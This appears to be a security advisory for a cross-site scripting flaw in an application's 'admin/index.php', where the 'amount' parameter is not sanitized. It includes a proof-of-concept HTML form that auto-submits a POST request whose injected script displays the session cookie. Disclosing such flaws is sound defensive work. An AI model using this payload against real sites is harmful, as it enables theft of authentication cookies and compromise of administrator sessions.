Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>
